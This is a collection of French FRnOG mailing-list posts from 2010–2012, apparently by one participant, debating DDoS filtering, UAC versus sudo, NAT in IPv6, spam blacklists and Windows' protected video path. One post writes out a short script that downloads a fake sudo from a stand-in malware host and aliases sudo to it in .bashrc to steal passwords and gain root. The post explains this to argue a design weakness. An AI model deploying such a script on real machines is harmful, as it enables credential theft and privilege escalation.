Re: [FRnOG] Re: [TECH] Detecter DDos outils et null-router sur quagga
On 09/06/2012 03:06 PM, Frederic Dhieux wrote: Oui, iptables s'écroule quand on commence à mettre beaucoup de règles à la suite, je dirais que si c'est vraiment la misère il faut rapidement envisager de cibler des subnets stratégiques plutôt que des IP dans le cas d'une attaque par de nombreuses IP douteuses (genre d'Asie vers un site francophone par exemple) On 09/06/2012 03:11 PM, Alain Thivillon wrote: On 09/06/2012 02:43 PM, Stephane Bortzmeyer wrote: Test à faire : mesurer à partir de combien d'adresses filtrés ça devient insupportable. Sur d'autres systèmes (pf) on peut charger des tables qui sont hashées. Vous avez essayé ipset ? En particulier avec la méthode hash. Ça a l'air de faire exactement ce que vous voulez. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On 2012-03-21 01:30, Jérôme Benoit wrote: On Tue, 20 Mar 2012 23:47:49 +0100 e-t172e-t...@akegroup.org wrote: On 2012-03-20 20:25, Jérôme Benoit wrote: C'est sur, c'est pas la faute de l'OS qui ne sépare pas les privilèges, Depuis Windows Vista, si. Tout utilisateur (même admin) est par défaut sur une session à droits restreints et doit explicitement autoriser une application à s'élever pour toucher au système. Et c'est conçu de telle sorte que même les vieilles applis fonctionnent avec des droits restreints, grâce à une astucieuse redirection automatique des appels système. http://en.wikipedia.org/wiki/User_Account_Control Cette bonne blague :) Et tu oses appeler çà de la séparation de privilèges ? man 7 capabilities sous Linux par exemple mais des mécanismes similaires existent sous tous les *nix des années avant 2008, l'année ou MS a tout juste commencé à comprendre les idées sous-jacentes du principe (mais pas entièrement vu le résultat :)) http://msdn.microsoft.com/en-us/library/windows/desktop/aa374860%28v=vs.85%29.aspx http://msdn.microsoft.com/en-us/library/windows/desktop/aa379306%28v=vs.85%29.aspx Ça existe depuis XP, sorti en 2001. qui ne randomize pas la pile d'allocation mémoire Idem : http://en.wikipedia.org/wiki/ASLR#Microsoft_Windows Ahahahahah, même OS X l'implémente mieux depuis la 10.7, je te donne 10 min pour trouver un bout de code en C qui listent les zones qui ne le sont pas et elles sont tellement nombreuses :) Il faut spécifier que le code est compatible ASLR à la compilation pour que ça fonctionne. Je ne vois pas en quoi c'est la faute de l'OS si des… « développeurs » tiers pondent du code qui ne fonctionne pas lorsqu'on randomise leurs espaces d'adressage. qui ne fourni pas de base une seule politique de type MAC Itou : http://en.wikipedia.org/wiki/Mandatory_Integrity_Control Tu cherches à te ridiculiser en public ? 1) c'est pas actif à la livraison dans trop de OEM Va falloir citer des sources, parce que pour l'instant, un Vista/7 qui n'a pas la notion d'intégrité, j'en ai encore jamais vu. Et quand bien même ce serait vrai, c'est la faute à l'OEM, pas l'OS. 2) c'est l'application qui choisit et de ne pas le faire dans 98% des cas (hénaurme) Encore une fois, si une application tierce choisit d'être une passoire, c'est son problème. Microsoft privilégie parfois la compatibilité avec les anciennes applications à la sécurité quand ils sont forcés de choisir. Après c'est clair que permettre aux gens de travailler c'est vraiment pas important (sarcasm inside). Ceci dit, les applications présentant une surface d'attaque importante telles que les navigateurs utilisent souvent ces fonctionnalités. j'ose à peine parler pas de sandbox (çà impliquerait d'avoir des appels systèmes POSIX pour être fait sans énorme hack) Google Chrome met chaque thread correspondant à un onglet dans une sandbox, et à ma connaissance, il n'utilise pas d'« énorme hack » pour le faire. Il faut aussi signaler le mode protégé des threads d'IE qui s'en rapproche pas mal. Un rapide sous d’œil à http://src.chromium.org/viewvc/chrome/trunk/src/sandbox/src/ me fait très largement dire le contraire :) Hum, oui. Au temps pour moi, j'avais pas pris le temps de vérifier. Il est clair que réimplémenter tous les appels système n'est exactement la solution la plus simple qui soit. Tu confonds deux choses qui n'ont aucun rapport : - La conception d'un système d'exploitation avec des mécanismes de sécurité qui tiennent la route; - L'intégration d'un tel système qui oublient juste d'implémenter lesdits mécanismes. Je suis conscient de cette distinction. Je dénonce justement le fait que la distribution Linux la plus grand public (Ubuntu), malgré le fait qu'elle soit basée sur un OS offrant des principes de sécurité solides, envoie tout ça par la fenêtre dès lors qu'elle permet l'utilisation de su/sudo. Les corrections sont simples pour corriger des choix d'intégration. Tu peux expliquer ces corrections ? Plus précisément, si tu peux me fournir un équivalent d'UAC sous Linux qui ne soit pas une passoire, je suis tout ouïe. Et à ergonomie équivalente, hein, sinon c'est trop facile (UAC c'est juste cliquer sur un bouton pour autoriser l'élévation). Windows est dans le cas ou çà a été oublié à la conception et le cheminement inverse pour palier les errances en sécurité à la conception est juste largement plus complexe et ... en cours de cheminement ... (pour rester poli) depuis 4 ans sans apporter pour le moment des réponses concrètes et efficientes (une parti du pb étant d'avoir mal habitué des palanqués de programmeurs a des APIs qui n’intègre aucunes notions de sécurité). C'est pas faux, mais tu ne peux pas nier le fait que depuis quelques années Microsoft met les bouchées doubles pour tenter de rattraper son retard. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On 2012-03-21 11:56, Radu-Adrian Feurdean wrote: On Tue, 20 Mar 2012 23:47:49 +0100, e-t172e-t...@akegroup.org said: http://en.wikipedia.org/wiki/User_Account_Control On parle bien des fonctionalites qu'il faut imerativement deactiver si on veut pouvoir garder un systeme utilisable. C'est bien ca ? Cette remarque s'applique à Vista, ils ont corrigé le problème dans Windows 7. Il y a fort à parier que si c'étaient des systèmes Linux qui avaient 95% de parts de marché sur le bureau, la situation serait exactement la Les bases etant tres differentes, je ne suis pas du tout convaincu. Deja en windoze-land il y a quoi, 4-5 versions dans la nature (XP/32, Vista/32, Vista/64 , 7/32, 7/64) ? En *nix-land, il y en a nettement plus que ca. J'aurais plutôt tendance à dire que dans une telle situation les masses se concentreraient sur une ou deux distributions (genre Ubuntu), mais on spécule là. même. En fait, ce serait même pire : par rapport à UAC, la solution typique sous Linux à base de su/sudo (cf Ubuntu) est une véritable passoire. ? Tu peux expliquer ? Moi je retien juste que Vista+UAC etait totalement inutilisable. 7+UAC ca reste presque potable, mais les choses embetantes ne sont pas totalement disparues. Pour un utilisateur lambda type Madame Michu (j'ai ma mère en tête), le prompt UAC doit apparaître genre une fois par mois, par exemple quand un logiciel a décidé qu'il était temps de se mettre à jour. Dès qu'on sort du cercle des informaticiens, il devient franchement rare de devoir élever une application pour effectuer une tâche. D'ailleurs ça rend le système assez efficace, car vu la rareté de la demande, ma mère est bien consciente qu'il faut réfléchir un minimum avant d'accepter. Elle m'a même appelé une fois parce qu'elle avait un doute. Au moins, Microsoft essaie de mettre le maximum de bâtons dans les roues à quelqu'un qui essaierait de passer outre le prompt UAC ; par Il y a M$FT, et il y a les autres editeurs, qui eux n'ont pas l'air d'voir tout compris. Adobe au pif. En effet, wondows souffre d'un historique de plusieurs dizaines d'annees de mentalite zero securite. C'est pas faux, mais comme je l'ai dit, c'est une mentalité qui est en train de changer à grande vitesse. contre sous Linux c'est la fête : su/sudo s'exécute dans un contexte (typiquement, un shell) qui est totalement sous le contrôle de l'utilisateur à droits restreints, ce qui en fait un dispositif de sécurité à peu près équivalent à un cadenas en mousse. Learn *nix ! De preference plus que w/ps/ls/vmstat. J'administre des serveurs Linux depuis presque dix ans. Je t'invite donc à développer, si possible en arrêtant de me prendre pour un con. Je précise que je suis ni pro-Linux ni pro-Windows. Par contre j'ai tendance à préférer Windows sur un poste de travail et Linux sur un serveur (mais pas pour des questions de sécurité, enfin, pas uniquement). -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On 2012-03-21 15:59, Radu-Adrian Feurdean wrote: J'administre des serveurs Linux depuis presque dix ans. Je t'invite donc à développer, si possible en arrêtant de me prendre pour un con. Les setuid ne s'executent pas exactement dans le contexte de l'utilisateur. Certes, ca prend en entree des choses aleatoires fournis par l'utilisateur, mais ce n'est surtout pas le n'importe quoi dont tu parles. Je connais parfaitement le principe du setuid et je sais que su/sudo s'exécute en tant que root pour élever l'utilisateur, mais ce n'est pas ça dont je parle. Le problème dont je parle c'est que toute l'utilisation de su/sudo s'effectue dans un contexte (contexte au sens général, pas seulement utilisateur) dont la sécurité est exactement égale à zéro. Je vais détailler en prenant comme exemple sudo (mais le principe est exactement le même avec su). Je pars du principe que sudo demande un mot de passe pour effectuer l'élévation, vu que si sudo ne demande aucun mot de passe alors c'est gagné avant même d'avoir commencé (j'exécute sudo et hop je me retrouve root). Le cœur du problème est que sudo, dans le cas d'une utilisation typique, est exécuté dans le contexte d'un shell, qui lui même se trouve dans le contexte d'un terminal graphique, qui lui-même se trouve dans le contexte d'un serveur X. Tout ça représente une surface d'attaque grande comme un terrain de foot et qui ne présente aucune difficulté à exploiter. Tu vois où je veux en venir ? Considère par exemple ce script : wget http://malware.example.com/fakesudo -O ~/.foo chmod +x ~/.foo cat ~/.bashrc EOF alias sudo=~/.foo EOF Tu remarqueras que toutes ces commandes n'ont pas besoin de privilèges particuliers pour fonctionner. fakesudo est un binaire malicieux conçu pour se faire passer pour sudo en exécutant le sudo original mais en interceptant stdin/stdout/pty (vois ça comme une attaque MITM mais avec des pipes). Tu vois où je veux en venir ? À partir du moment où un attaquant à réussi à obtenir un accès shell utilisateur à ta machine, il exécute le script de 5 lignes ci-dessus et dès que tu utilises su/sudo c'est game over, il a le root et en cadeau bonus le mot de passe en clair de ton compte. Il y a des tas de variantes possibles, tant dans l'exploitation (par exemple au lieu d'intercepter le mot de passe on remplace la commande à exécuter, ça a le mérite de fonctionner avec tout token d'authentification) que dans l'approche de l'attaque (on peut par exemple utiliser le terminal au lieu du shell, ou jouer avec le protocole X). Il est aussi possible de mener ce genre d'attaque sur les « sudo graphiques » (par exemple en imitant la fenêtre, ou en jouant avec le PATH, ou en trifouillant la configuration de l'environnement de bureau, ou…). Si quelqu'un a une solution fiable pour ce problème, je suis tout ouïe. Pour l'instant la seule solution que je vois c'est de basculer sur une console tty en mode texte pour se logger en root, mais ça casse un peu tout le principe de la chose. De ce point de vue UAC est infiniment supérieur. Lorsqu'une application demande l'élévation ce n'est pas une fenêtre de prompt classique qui s'affiche. À la place, le kernel (ou du moins un composant système) prend entièrement le contrôle de l'affichage, le grise et affiche la fenêtre de prompt UAC. Cette fenêtre fonctionne à un niveau d'intégrité supérieur, ce qui empêche les autres applications d'interagir avec pour éviter par exemple de simuler le clic sur le bouton de validation (ce principe vaut également pour l'ensemble de l'application une fois qu'elle est élevée). Un keylogger ne fonctionnera pas non plus pendant le temps où ladite fenêtre est affichée, et même s'il fonctionnait, il ne servirait à rien puisque dans la configuration par défaut, le prompt UAC ne demande pas de mot de passe (ce qui est ici une bonne chose !). C'est d'ailleurs pour la même raison qu'afficher un faux prompt UAC ne servirait à rien non plus. Il est également impossible d'altérer le programme qui se fait élever car, sauf grosse bourde dans la configuration, ce dernier n'est pas modifiable par un utilisateur non élevé. Au final, il est très difficile pour un programme de s'élever sans que l'utilisateur humain valide lui-même de sa propre main le prompt UAC. Je dis « très difficile » pas « impossible » car, comme tout logiciel, il existe probablement des failles de sécurité, mais ici, ce sont des simples failles dans l'implémentation, pas un problème fondamental comme c'est le cas pour su/sudo. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On 2012-03-22 00:06, Jérôme Benoit wrote: On Wed, 21 Mar 2012 09:45:33 +0100 e-t172e-t...@akegroup.org wrote: http://msdn.microsoft.com/en-us/library/windows/desktop/aa374860%28v=vs.85%29.aspx http://msdn.microsoft.com/en-us/library/windows/desktop/aa379306%28v=vs.85%29.aspx Ça existe depuis XP, sorti en 2001. Personne ne les utilise puisque c'est pas obligatoire. Le principe étant que si il n'a pas d'impératif fonctionnel sécuritaire lors de la concrétisation d'un soft, le programmeur s'en tamponne le coquillard :) C'est donc au client de se retourner contre le fournisseur du logiciel vérolé. Je ne vois pas le rapport avec l'OS. (oui je sais, bisounours, toussa, m'enfin si plus de monde le faisait et tenait les développeurs pour responsables, on se retrouverait peut-être pas dans ce genre de situation) Il faut spécifier que le code est compatible ASLR à la compilation pour que ça fonctionne. Je ne vois pas en quoi c'est la faute de l'OS si des… « développeurs » tiers pondent du code qui ne fonctionne pas lorsqu'on randomise leurs espaces d'adressage. C'est la faute à l'OS dans le sens où l'utilisation d'ASLR est rendu optionnel. Ça ferait sans doute chier un paquet d'éditeur mais sans l'obligation, c'est juste faire du marketing sécuritaire de ASLR. Faut vérifier mais je pense que l'ASLR est activé par défaut lors de la création de nouveau code, le fait qu'il ne soit pas activé pour de l'ancien code est pour des questions de rétrocompatibilité. LSM est ton ami lors de la phase d'intégration, c'est là que tu définis quel paquet à le droit de faire quoi en fonction de critère très fin en fonction du modèle choisi (TE, RSBAC, MLS). C'est long ? Vi, très long et fastidieux mais quand tu as fini le boulot, je met au défi un cracker de passer outre. C'est user-frienly ? Vi, si ta politique est bien conçue. Même pas un prompt pour l'élévation de privilège, pas besoin (ce qui entre parenthèse est une hérésie, on ne demande pas à l'utilisateur de faire une élévation ...). Dans un autre mail tu cites un exemple de changement d'un alias pour pointer vers du code malicieux. C'est inexploitable avec LSM, le code n'aura pas les droits (pour faire court, c'est dans les extend attributes d'un fichier qui ne sont pas modifiables, ni par root, ni par l'utilisateur, seul dieu et le responsable le peut :)) Ton raisonnement s'applique à un gros parc d'entreprise avec des gens payés à plein temps pour bosser sur ce genre de trucs (ce qui est déjà pas gagné) et configurer au micropoil les politiques de sécurité. Je te parle de la machine chez Madame Michu. Peux-tu me citer une distribution user-friendly type Ubuntu qui implémente « hors de la boîte » ce genre de mesures de sécurité ? (c'est une vraie question) Plus sérieusement, MS doit passer maintenant à la phase : tu veux tourner sur Windows 8 ? Tu le fais en suivant mes règles de sécurité qui ne sont pas là pour te faire chier ou pour empêcher les gens de travailler, elles sont là pour blah blah J'ai l'impression que c'est ce qu'ils ont l'intention de faire pour Windows 8 ARM, où ils n'ont pas à ce soucier de la compatibilité puisque c'est une nouvelle plate-forme. Mais il est vrai que sur certains points la philosophie de Windows 8 ARM ressemble tellement à celle d'Android ou iOS que je me demande si on parle encore d'OS pour PC à ce stade… MS est suffisamment gros pour le faire dans le monde de l'informatique propriétaire, on se demande pourquoi çà a pris autant de temps et autant de dommage collatéraux (enfin, j'ai une idée du pourquoi du comment, mais çà fera l'objet d'un autre troll :)) Ce qui les ralentit c'est surtout leur philosophie de la rétrocompatibilité à tout prix. Suffit de lire The Old New Thing pour se rendre compte que c'est une idée fixe là-bas. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Désolé, on est pas vendredi, mais je vais quand même marcher dedans. On 2012-03-20 20:25, Jérôme Benoit wrote: C'est sur, c'est pas la faute de l'OS qui ne sépare pas les privilèges, Depuis Windows Vista, si. Tout utilisateur (même admin) est par défaut sur une session à droits restreints et doit explicitement autoriser une application à s'élever pour toucher au système. Et c'est conçu de telle sorte que même les vieilles applis fonctionnent avec des droits restreints, grâce à une astucieuse redirection automatique des appels système. http://en.wikipedia.org/wiki/User_Account_Control qui ne randomize pas la pile d'allocation mémoire Idem : http://en.wikipedia.org/wiki/ASLR#Microsoft_Windows qui ne fourni pas de base une seule politique de type MAC Itou : http://en.wikipedia.org/wiki/Mandatory_Integrity_Control j'ose à peine parler pas de sandbox (çà impliquerait d'avoir des appels systèmes POSIX pour être fait sans énorme hack) Google Chrome met chaque thread correspondant à un onglet dans une sandbox, et à ma connaissance, il n'utilise pas d'« énorme hack » pour le faire. Il faut aussi signaler le mode protégé des threads d'IE qui s'en rapproche pas mal. Il y a fort à parier que si c'étaient des systèmes Linux qui avaient 95% de parts de marché sur le bureau, la situation serait exactement la même. En fait, ce serait même pire : par rapport à UAC, la solution typique sous Linux à base de su/sudo (cf Ubuntu) est une véritable passoire. Au moins, Microsoft essaie de mettre le maximum de bâtons dans les roues à quelqu'un qui essaierait de passer outre le prompt UAC ; par contre sous Linux c'est la fête : su/sudo s'exécute dans un contexte (typiquement, un shell) qui est totalement sous le contrôle de l'utilisateur à droits restreints, ce qui en fait un dispositif de sécurité à peu près équivalent à un cadenas en mousse. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] Le troll (FR) multi-sujet du vendredi
On 2011-11-08 04:10, Michel Py wrote: Aujourd'hui, problème est: 1. Il y a toujours quelques logiciels (y compris celui du serveur de la liste du FRnOG) qui, dans certaines circonstances pas toujours totalement identifiées, se mélangent les pédales. J'ai constaté ça avec mes propres contribs: quand je quote certaines autres contribs, les deux lignes de signature à la fin soit disparaissent soient deviennent du chinois. Liste de diffusion du FRnOG http://www.frnog.org/ C'est mineur, mais on peut se demander quoi d'autre est bogué. 2. Là ou je vois le problème c'est en utilisant un MUA qui est HTML: on trouve des contribs avec x fontes différentes, 3 tailles différentes, etc. Question présentation c'est un peu COMME UN TROLL QUI ECRIT TOUT EN CAPS. Dans les deux cas, on peut lire le texte, mais l'idée de base reste toujours d'écrire quelque chose qui permette au lecteur de se concentrer sur le contenu, pas sur la présentation. C'est du même ordre d'idée que les quotes de porc et le top-post, si tu as vraiment envie de lire tu peux, mais ça serait bien plus sympa, en plus de lire de haut en bas et de ne pas avoir un kilomètre de porc, de lire quelque chose dans une fonte de famille (*) et de taille homogène. J'aimerais aussi signaler qu'utiliser HTML a de fâcheuses conséquences quand on commence à imbriquer les quotes. En texte clair tous les MUA s'y retrouvent car l'usage veut qu'une citation commence par « », une citation imbriquée par « », etc. Avec ça, mon Thunderbird me fait des jolies barres colorées, et même une couleur différente en fonction de la profondeur. Difficile de faire plus propre et clair. En revanche, dès que quelqu'un poste en HTML, alors les MUA ne reconnaissent généralement plus la citation (souvent la « barre » se retrouve en dur dans le HTML), du coup ça part en couille sévère et le résultat visuel devient absolument horrible. Bien évidemment ça empire à chaque réponse, ce qui résulte en d'importants saignements oculaires sur les gros threads. D'ailleurs, j'aimerais signaler à Sam Preston (qui rédige bien en texte brut, merci à lui) qu'il serait probablement mieux qu'il arrête d'indenter les citations (si c'est possible) car mon Thunderbird ne les détecte pas comme telles et j'imagine que ce n'est pas le seul MUA à trébucher dessus. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] Le troll (FR) multi-sujet du vendredi
On 2011-11-12 22:23, Michel Py wrote: Par curiosité, pourrais-tu poster un lien vers une photo d'écran de Thunderbird affichant le texte ci-dessous? Toto a écrit: I bless the rains down in Africa. Tata a écrit: I sell IP transit. Titi a écrit Au secours grosminet essaie de me manger. http://uppix.net/d/7/2/376945157058691ee614a7c19daf7.html .+-yם���*'v�Q�ᡶ�� 0~�肊�/=== Ça s'arrange pas tes problèmes de signature… -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
[FRnOG] Re: [FRnOG] Re: RespectMyNet : Une plate-forme citoyenne recense les restrictions d'accès au Net
On 2011-09-26 10:09, Stephane Bortzmeyer wrote: Pour remonter ma confiance dans la nature humaine, je veux bien des listes de FAI qui s'engagent à ne *jamais* faire cela (oui, je sais, c'est incroyable, désormais c'est aux non-menteurs de promettre qu'ils ne mentiront pas). http://www.ovh.fr/vdsl/ Ça y est un peu partout sur le site sous la mention « neutralité du Net ». -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] Re: RFC 6296: IPv6-to-IPv6 Network Prefix Translation
On 07/04/2011 08:45 AM, Benoit Garcia wrote: Personnellement, je suis un fervent partisan du End-to-End Principle, et par conséquent, je milite pour que ce genre de filtrage de connexions se fasse sur la machine finale, pas sur un nœud du réseau, parce que ça permet d'utiliser un pare-feu applicatif qui est bien mieux placé pour prendre ces décisions qu'une boite noire branchée sur un câble. Et qu'on ne vienne pas me dire que c'est pas Michu-compliant : la configuration par défaut du pare-feu de Windows depuis XP SP2 offre une sécurité au moins équivalente à un NAT. Mais j'imagine que c'est là encore une idée à ranger dans le monde des bisounours. Comment peut-on être partisan du End-to-End Principle *et* du NAT? Est-ce que ce n'est pas antinomique? C'est surtout que tu as lu totalement de travers mon message. Où est-ce que tu as lu que je suis partisan du NAT ? C'est exactement le contraire ! Je suis tout à fait opposé à toute forme de NAT, ça ne m'empêche pas de critiquer les arguments (comme celui de Stéphane) que je trouve invalides, même si ils vont dans mon sens. On ne peut pas avoir une discussion ici sans devoir choisir son camp ? Il est un peu facile cet argument. Si les attaques ne se font pas par connexion IP directe c'est justement parce que le pékin moyen (ou plutôt devrais-je dire « victime moyenne ») a une box de FAI qui, justement, fait du NAT et ne laisse donc pas passer par défaut les connexions entrantes. Il est possible de bloquer les connexions entrantes sans faire du NAT. Ca s'appelle du filtrage. Oui, c'est ce que j'ai dit deux paragraphes plus bas dans mon message. À l'époque ou la plupart des gens avaient une adresse publique sur leur PC, les attaques se faisaient bien par connexion directe (exemple : Blaster). Si, avec IPv6, tout le monde récupère à nouveau des adresses publiques non protégées, je te parie ma chemise que la vermine va de nouveau exploiter ce vecteur de transmission. La plupart des systèmes modernes (supportant IPv6) utilisés par des particuliers fournissent en standard un pare-feu qui bloque par défaut les connexions entrantes. C'est pour ça que j'ai précisé non protégées. Le principal problème est que, apparemment, il subsiste des gens qui ne comprennent pas qu'un simple pare-feu qui filtre les connexions entrantes offre une sécurité exactement identique à un NAT IPv4 typique, mais avec des inconvénients en moins. Parce que même si le NAT permet de filtrer les connexions entrantes, le pare-feu offre des avantages en plus? Le NAT a pour inconvénient principal de modifier les adresses source et destination des paquets qui passent par lui. Le pare-feu n'a pas cet inconvénient, tout en gardant la possibilité de filtrer les connexions entrantes. D'où pare-feu NAT. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] Re: RFC 6296: IPv6-to-IPv6 Network Prefix Translation
On 2011-07-03 22:54, Stephane Bortzmeyer wrote: On Fri, Jul 01, 2011 at 02:07:49PM +0200, Alain Richardalain.rich...@equation.fr wrote a message of 226 lines which said: f - La plupart des petits utilisateurs s'appuient sur le NAT44 pour sécuriser leur accès C'est un fait, mais cela n'empêche pas qu'ils ont tort et sérieusement tort. Je rappelle que Stuxnet n'a même pas eu besoin d'une connexion Internet pour infecter le site visé, alors croire qu'on est protégé par NAT44, alors que la plupart des attaques se font par charge utile et pas par connexion IP de l'extérieur, c'est de l'acte de foi, pas de la science. Il est un peu facile cet argument. Si les attaques ne se font pas par connexion IP directe c'est justement parce que le pékin moyen (ou plutôt devrais-je dire « victime moyenne ») a une box de FAI qui, justement, fait du NAT et ne laisse donc pas passer par défaut les connexions entrantes. À l'époque ou la plupart des gens avaient une adresse publique sur leur PC, les attaques se faisaient bien par connexion directe (exemple : Blaster). Si, avec IPv6, tout le monde récupère à nouveau des adresses publiques non protégées, je te parie ma chemise que la vermine va de nouveau exploiter ce vecteur de transmission. Le principal problème est que, apparemment, il subsiste des gens qui ne comprennent pas qu'un simple pare-feu qui filtre les connexions entrantes offre une sécurité exactement identique à un NAT IPv4 typique, mais avec des inconvénients en moins. Personnellement, je suis un fervent partisan du End-to-End Principle, et par conséquent, je milite pour que ce genre de filtrage de connexions se fasse sur la machine finale, pas sur un nœud du réseau, parce que ça permet d'utiliser un pare-feu applicatif qui est bien mieux placé pour prendre ces décisions qu'une boite noire branchée sur un câble. Et qu'on ne vienne pas me dire que c'est pas Michu-compliant : la configuration par défaut du pare-feu de Windows depuis XP SP2 offre une sécurité au moins équivalente à un NAT. Mais j'imagine que c'est là encore une idée à ranger dans le monde des bisounours. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] Re: [FRnOG] Caractères autorisés dans la clé md5 ospf
On 06/07/2011 04:17 PM, Gael Martinez wrote: Si je comprends bien la question, md5 est un resultat hexadecimal. Les caracteres supportes seraient donc 0123456789ABCDEF Les points de suspension induisent en erreur. Si c'est en héxadécimal les caractères supportés sont 0123456789ABCDEF, point. Et/ou 0123456789abcdef en fonction de la casse et de la tolérance du truc. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] Le troll du vendredi par Michel
On 2011-05-30 17:46, Michel Py wrote: Laurent GUERBY a écrit: Si quelqu'un sait comment le prestataire wifi de MacDo fait pour s'exonerer des lois gauloises sur l'identification des connectés (vu qu'ils doivent avoir que la MAC wifi) ça doit interesser pas mal de monde :). Xavier Beaudouin a écrit: Je pense sérieux que le presta s'en bat... les.. :p Ah oui et ce n'est pas le seul; personne ne m'a jamais demandé mon identité en France (en Italie ils le font pour le principe). J'ai vu plusieurs WiFi d'hôtel complètement ouverts, et plusieurs autres ou le code top-secret est écrit sur un panneau à la réception, ou scotché sur la plaque de la clé, ou haute sécurité comme 00 que tous tes voisins connaissent, ou écrit sur la première page du guide trouvé dans la chambre, etc. Même quand c'est chiffré ce n'est jamais mieux que WAP 56 bit. Las ou je suis en ce moment, ils essaient d'être en règle: le WiFi est ouvert et il y a une page redirigée pour se connecter. L'utilisateur/mot de passe est unique par chambre (donc individualisé par rapport à WAP), mais ne change jamais et en plus la page de login est en http (pas en https) donc même si on ne demande pas le code, il suffit de sniffer WiFi pour avoir un mot de passe vu que c'est tout en clair. Personnellement, j'ai été impressionné par le WiFi public de l'Aéroport de Pau : y'a un portail captif sur lequel il te demande ton nom, ton prénom et ton numéro de téléphone portable. Lorsque tu valides le formulaire ils t'envoient un SMS avec un code que tu dois rentrer sur le portail captif pour pouvoir accéder à Internet. Du coup, en cas de problème, il peuvent remonter jusqu'à toi avec ton numéro de téléphone. Le système a été fait par Héliantis, apparemment. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] SORBS, blacklisting
On 2011-05-20 19:06, Yves Dubromelle wrote: Mais comment est-ce possible que quasiment tous les clients des gros FAIs soient blacklistés depuis des années (2005 pour ma plage 82.239.141.0/24) ? Est-ce que ce sont les FAIs qui ne demandent pas le delisting, ou est-ce qu'ils le demandent mais sont re-listés rapidement à cause du volume de spam ? Pour certaines blacklists, rien que le fait d'être un particulier sur une ligne DSL est une raison valable de se faire blacklister. Et ils le disent noir sur blanc. Je ne me souviens plus des noms des blacklists, mais la raison enregistrée était tout simplement residential DSL ou quelque chose comme ça. La raison est simple : quand un serveur de mail reçoit une connexion d'une ligne DSL grand public, il y a beaucoup, beaucoup, beaucoup plus de chances que ce soit un spam envoyé depuis le PC de madame Michu bourré de malware qu'un vrai serveur de courrier hébergé par un geek dans sa cave. C'est statistique. Alors après on peut crier au scandale, mais ça revêt une certaine logique. D'autant plus que les « victimes » ont généralement à leur disposition un serveur SMTP non blacklisté mis à disposition par le FAI, donc on ne peut pas dire qu'ils ont pas le choix. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] M6 replay depuis Bouygues Telecom : pourquoi on arriveaux USA ?
On 23/10/2010 21:12, Thomas SOETE wrote: Tu nous dit que le flux MPEG4 transite quelquepart qui n'est pas récupérable par logiciel. Donc il transite possiblement dans le noyau pour atterrir dans la carte graphique pour s'y faire décoder (supposition, il y a d'autres possibilités). On a donc trois axes de recherches : - un pilote falsifié de la carte graphique dumpant le flux qui lui est envoyé - un pilote noyau, celui-ci résidant dans le noyau il peut lire tout ce qui transite et donc dumper le flux mpeg4 - une machine virtuelle dans laquelle on fait tourner le windows, ce qui permet de voir toutes les E/S possible de l'OS et donc dumper le flux qui arrivera un jour ou l'autre sur la carte video D'après les propos que tient Pierre Col je pense fortement qu'il parle de la fonctionnalité PVP (Protected Video Path) incluse dans Windows et qui est notamment utilisée lors de la lecture de Blu-ray protégés. En gros, le principe est de faire transiter les flux dans des processus et des espaces mémoires protégés (le noyau étant le gardien), qu'il n'est possible d'accéder que sous réserve de remplir des conditions extrêmement strictes. Par exemple, même un administrateur avec tous les droits ne peut pas y accéder, et d'une manière générale le seul code qui peut y accéder est du code signé et vérifié par certificat (mais ce n'est pas la seule condition). Ça inclut le code s'exécutant en mode noyau. Je pense que la méthode employée consiste à empêcher un pilote non signé de tourner en même temps que le PVP est utilisé. Par ailleurs il est absolument certain que Windows refusera de remettre un flux protégé à un pilote de carte graphique non signé. Exit donc tes solutions 1 et 2. N'importe qui avec un PC sous Windows 7 peut faire l'expérience : essayez de faire joujou avec le processus « audiodg.exe », qui représente une partie du moteur audio de Windows, avec un débuggeur ou tout autre outil un peu intrusif. Impossible : audiodg.exe est un processus « protégé » car il est susceptible de transporter de l'audio provenant d'un Blu-ray chiffré (ou de toute autre application utilisant le PAP). Aussi, l'application peut exiger que le flux ne puisse quitter la machine que sous forme chiffrée par HDCP, et l'OS le garantit. Exit donc ta solution 3. Un truc qui m'a toujours sidéré c'est que ce système est une énorme usine à gaz (les schémas sur le site de Microsoft donnent le mal de crâne) qui touche énormément de composants critiques du système d'exploitation. Vu le nombre de 